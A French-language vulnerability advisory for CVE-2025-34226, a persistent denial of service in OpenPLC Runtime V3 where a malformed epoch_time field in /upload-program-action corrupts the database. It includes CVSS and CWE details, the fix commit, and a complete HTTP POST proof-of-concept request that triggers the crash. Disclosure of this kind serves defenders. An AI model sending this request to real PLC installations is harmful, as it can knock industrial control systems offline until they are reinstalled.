
OpenPLC Runtime souffre d'une vulnérabilité de déni de service (DoS) persistant dans le endpoint /upload-program-action.
| Champ | Valeur |
|---|---|
| CVE ID | CVE-2025-34226 |
| Affecte | OpenPLC Runtime V3 |
| Corrigé dans | (commit) 095ee09623dd229b64ad3a1db38a901a3772f6fc |
| Sévérité | Élevée |
| CVSS 4.0 | CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N 7.1 (Élevé) |
| CWE | CWE-664 Contrôle inapproprié d'une ressource pendant sa durée de vie, CWE-20 Validation inappropriée des entrées |
OpenPLC Runtime souffre d'une vulnérabilité de déni de service (DoS) persistant dans le point d'accès /upload-program-action.
En modifiant le paramètre epoch_time lors du téléversement d'un programme, un utilisateur authentifié à faibles privilèges peut corrompre la base de données backend.
Cette corruption désactive d'abord les pages critiques et finit par empêcher tout le runtime de démarrer, rendant l'application inutilisable jusqu'à sa réinstallation.
Le point d'accès /upload-program-action accepte un champ epoch_time qui est écrit directement dans la base de données sans validation.
Lorsque ce champ est défini sur une valeur forgée ou absurde (par exemple 1758627838 ou des données malformées), OpenPLC stocke un état incohérent.
Lors d'un rechargement ou d'un redémarrage du runtime, l'application interroge la ligne corrompue et rencontre un objet NoneType → crash fatal (TypeError: 'NoneType' object is not subscriptable).
POST /upload-program-action HTTP/1.1
Host: TARGET:8080
Content-Type: multipart/form-data; boundary=----BOUNDARY
Cookie: session=[valid-session-cookie]
------BOUNDARY
Content-Disposition: form-data; name="prog_name"
test
------BOUNDARY
Content-Disposition: form-data; name="prog_descr"
test
------BOUNDARY
Content-Disposition: form-data; name="prog_file"; filename="demo.st"
Content-Type: text/plain
PROGRAM demo
END_PROGRAM
------BOUNDARY
Content-Disposition: form-data; name="epoch_time"
"Just edit here and it will work (e.g "Hello !")"
------BOUNDARY--
/programs/programs et vous verrez qu'il ne fonctionne plusDécouvert par : Eyodav